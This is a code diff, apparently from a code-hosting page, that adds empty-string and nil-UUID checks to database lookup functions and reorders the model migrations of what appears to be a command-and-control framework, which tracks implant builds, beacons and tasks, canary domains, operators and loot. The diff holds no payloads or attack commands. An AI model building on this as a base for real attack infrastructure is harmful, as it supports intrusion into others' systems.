func ImplantBuildByName(name string) (*models.ImplantBuild, error) {
|
||||
if len(name) < 1 {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
build := models.ImplantBuild{}
|
||||
err := Session().Where(&models.ImplantBuild{
|
||||
Name: name,
|
||||
@@ -126,6 +136,9 @@ func ImplantProfiles() ([]*models.ImplantProfile, error) {
|
||||
|
||||
// ImplantProfileByName - Fetch implant build by name
|
||||
func ImplantProfileByName(name string) (*models.ImplantProfile, error) {
|
||||
if len(name) < 1 {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
profile := models.ImplantProfile{}
|
||||
err := Session().Where(&models.ImplantProfile{
|
||||
Name: name,
|
||||
@@ -170,6 +183,9 @@ func ImplantProfileNames() ([]string, error) {
|
||||
|
||||
// ProfileByName - Fetch a single profile from the database
|
||||
func ProfileByName(name string) (*models.ImplantProfile, error) {
|
||||
if len(name) < 1 {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
dbProfile := &models.ImplantProfile{}
|
||||
err := Session().Where(&models.ImplantProfile{Name: name}).Find(&dbProfile).Error
|
||||
return dbProfile, err
|
||||
@@ -184,6 +200,9 @@ func ListCanaries() ([]*models.DNSCanary, error) {
|
||||
|
||||
// CanaryByDomain - Check if a canary exists
|
||||
func CanaryByDomain(domain string) (*models.DNSCanary, error) {
|
||||
if len(domain) < 1 {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
dbSession := Session()
|
||||
canary := models.DNSCanary{}
|
||||
err := dbSession.Where(&models.DNSCanary{Domain: domain}).First(&canary).Error
|
||||
@@ -192,6 +211,9 @@ func CanaryByDomain(domain string) (*models.DNSCanary, error) {
|
||||
|
||||
// WebsiteByName - Get website by name
|
||||
func WebsiteByName(name string) (*models.Website, error) {
|
||||
if len(name) < 1 {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
website := models.Website{}
|
||||
err := Session().Where(&models.Website{Name: name}).First(&website).Error
|
||||
if err != nil {
|
||||
@@ -235,9 +257,16 @@ func HostByHostID(id uuid.UUID) (*models.Host, error) {
|
||||
|
||||
// HostByHostUUID - Get host by the session's reported HostUUID
|
||||
func HostByHostUUID(id string) (*models.Host, error) {
|
||||
if len(id) < 1 {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
hostID := uuid.FromStringOrNil(id)
|
||||
if hostID == uuid.Nil {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
host := models.Host{}
|
||||
err := Session().Where(
|
||||
&models.Host{HostUUID: uuid.FromStringOrNil(id)},
|
||||
&models.Host{HostUUID: hostID},
|
||||
).Preload("IOCs").Preload("ExtensionData").First(&host).Error
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -247,18 +276,32 @@ func HostByHostUUID(id string) (*models.Host, error) {
|
||||
|
||||
// IOCByID - Select an IOC by ID
|
||||
func IOCByID(id string) (*models.IOC, error) {
|
||||
if len(id) < 1 {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
ioc := &models.IOC{}
|
||||
iocID := uuid.FromStringOrNil(id)
|
||||
if iocID == uuid.Nil {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
err := Session().Where(
|
||||
&models.IOC{ID: uuid.FromStringOrNil(id)},
|
||||
&models.IOC{ID: iocID},
|
||||
).First(ioc).Error
|
||||
return ioc, err
|
||||
}
|
||||
|
||||
// BeaconByID - Select a Beacon by ID
|
||||
func BeaconByID(id string) (*models.Beacon, error) {
|
||||
if len(id) < 1 {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
beaconID := uuid.FromStringOrNil(id)
|
||||
if beaconID == uuid.Nil {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
beacon := &models.Beacon{}
|
||||
err := Session().Where(
|
||||
&models.Beacon{ID: uuid.FromStringOrNil(id)},
|
||||
&models.Beacon{ID: beaconID},
|
||||
).First(beacon).Error
|
||||
return beacon, err
|
||||
}
|
||||
@@ -267,8 +310,14 @@ func BeaconByID(id string) (*models.Beacon, error) {
|
||||
// by default will not fetch the request/response columns since
|
||||
// these could be arbitrarily large.
|
||||
func BeaconTasksByBeaconID(beaconID string) ([]*models.BeaconTask, error) {
|
||||
beaconTasks := []*models.BeaconTask{}
|
||||
if len(beaconID) < 1 {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
id := uuid.FromStringOrNil(beaconID)
|
||||
if id == uuid.Nil {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
beaconTasks := []*models.BeaconTask{}
|
||||
err := Session().Select([]string{
|
||||
"ID", "EnvelopeID", "BeaconID", "CreatedAt", "State", "SentAt", "CompletedAt",
|
||||
"Description",
|
||||
@@ -278,10 +327,17 @@ func BeaconTasksByBeaconID(beaconID string) ([]*models.BeaconTask, error) {
|
||||
|
||||
// BeaconTaskByID - Select a specific BeaconTask by ID, this
|
||||
// will fetch the full request/response
|
||||
func BeaconTaskByID(taskID string) (*models.BeaconTask, error) {
|
||||
func BeaconTaskByID(id string) (*models.BeaconTask, error) {
|
||||
if len(id) < 1 {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
taskID := uuid.FromStringOrNil(id)
|
||||
if taskID == uuid.Nil {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
task := &models.BeaconTask{}
|
||||
err := Session().Where(
|
||||
&models.BeaconTask{ID: uuid.FromStringOrNil(taskID)},
|
||||
&models.BeaconTask{ID: taskID},
|
||||
).First(task).Error
|
||||
return task, err
|
||||
}
|
||||
@@ -294,9 +350,16 @@ func ListBeacons() ([]*models.Beacon, error) {
|
||||
}
|
||||
|
||||
// RenameBeacon - Rename a beacon
|
||||
func RenameBeacon(beaconID string, name string) error {
|
||||
func RenameBeacon(id string, name string) error {
|
||||
if len(id) < 1 {
|
||||
return ErrRecordNotFound
|
||||
}
|
||||
beaconID := uuid.FromStringOrNil(id)
|
||||
if beaconID == uuid.Nil {
|
||||
return ErrRecordNotFound
|
||||
}
|
||||
err := Session().Where(&models.Beacon{
|
||||
ID: uuid.FromStringOrNil(beaconID),
|
||||
ID: beaconID,
|
||||
}).Updates(models.Beacon{Name: name}).Error
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -305,11 +368,18 @@ func RenameBeacon(beaconID string, name string) error {
|
||||
}
|
||||
|
||||
// PendingBeaconTasksByBeaconID - Select a Beacon by ID, ordered by creation time
|
||||
func PendingBeaconTasksByBeaconID(beaconID string) ([]*models.BeaconTask, error) {
|
||||
func PendingBeaconTasksByBeaconID(id string) ([]*models.BeaconTask, error) {
|
||||
if len(id) < 1 {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
beaconID := uuid.FromStringOrNil(id)
|
||||
if beaconID == uuid.Nil {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
tasks := []*models.BeaconTask{}
|
||||
err := Session().Where(
|
||||
&models.BeaconTask{
|
||||
BeaconID: uuid.FromStringOrNil(beaconID),
|
||||
BeaconID: beaconID,
|
||||
State: models.PENDING,
|
||||
},
|
||||
).Order("created_at").Find(&tasks).Error
|
||||
@@ -317,9 +387,16 @@ func PendingBeaconTasksByBeaconID(beaconID string) ([]*models.BeaconTask, error)
|
||||
}
|
||||
|
||||
// UpdateBeaconCheckinByID - Update the beacon's last / next checkin
|
||||
func UpdateBeaconCheckinByID(beaconID string, next int64) error {
|
||||
func UpdateBeaconCheckinByID(id string, next int64) error {
|
||||
if len(id) < 1 {
|
||||
return ErrRecordNotFound
|
||||
}
|
||||
beaconID := uuid.FromStringOrNil(id)
|
||||
if beaconID == uuid.Nil {
|
||||
return ErrRecordNotFound
|
||||
}
|
||||
err := Session().Where(&models.Beacon{
|
||||
ID: uuid.FromStringOrNil(beaconID),
|
||||
ID: beaconID,
|
||||
}).Updates(models.Beacon{
|
||||
LastCheckin: time.Now(),
|
||||
NextCheckin: time.Now().Unix() + next,
|
||||
@@ -329,10 +406,17 @@ func UpdateBeaconCheckinByID(beaconID string, next int64) error {
|
||||
|
||||
// BeaconTasksByEnvelopeID - Select a (sent) BeaconTask by its envelope ID
|
||||
func BeaconTaskByEnvelopeID(beaconID string, envelopeID int64) (*models.BeaconTask, error) {
|
||||
if len(beaconID) < 1 {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
beaconUUID := uuid.FromStringOrNil(beaconID)
|
||||
if beaconUUID == uuid.Nil {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
task := &models.BeaconTask{}
|
||||
err := Session().Where(
|
||||
&models.BeaconTask{
|
||||
BeaconID: uuid.FromStringOrNil(beaconID),
|
||||
BeaconID: beaconUUID,
|
||||
EnvelopeID: envelopeID,
|
||||
State: models.SENT,
|
||||
},
|
||||
@@ -342,6 +426,9 @@ func BeaconTaskByEnvelopeID(beaconID string, envelopeID int64) (*models.BeaconTa
|
||||
|
||||
// CountTasksByBeaconID - Select a (sent) BeaconTask by its envelope ID
|
||||
func CountTasksByBeaconID(beaconID uuid.UUID) (int64, int64, error) {
|
||||
if beaconID == uuid.Nil {
|
||||
return 0, 0, ErrRecordNotFound
|
||||
}
|
||||
allTasks := int64(0)
|
||||
completedTasks := int64(0)
|
||||
err := Session().Model(&models.BeaconTask{}).Where(
|
||||
@@ -363,6 +450,9 @@ func CountTasksByBeaconID(beaconID uuid.UUID) (int64, int64, error) {
|
||||
|
||||
// OperatorByToken - Select an operator by token value
|
||||
func OperatorByToken(value string) (*models.Operator, error) {
|
||||
if len(value) < 1 {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
operator := &models.Operator{}
|
||||
err := Session().Where(&models.Operator{
|
||||
Token: value,
|
||||
|
||||
+4
-4
@@ -55,16 +55,16 @@ func newDBClient() *gorm.DB {
|
||||
&models.Host{},
|
||||
&models.IOC{},
|
||||
&models.ExtensionData{},
|
||||
&models.ImplantC2{},
|
||||
&models.ImplantConfig{},
|
||||
&models.ImplantBuild{},
|
||||
&models.ImplantProfile{},
|
||||
&models.ImplantConfig{},
|
||||
&models.ImplantC2{},
|
||||
&models.KeyValue{},
|
||||
&models.CanaryDomain{},
|
||||
&models.ImplantProfile{},
|
||||
&models.Loot{},
|
||||
&models.Operator{},
|
||||
&models.WebContent{},
|
||||
&models.Website{},
|
||||
&models.WebContent{},
|
||||
&models.WGKeys{},
|
||||
&models.WGPeer{},
|
||||
)
|
||||
|
||||
Loaded 100 of 103 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user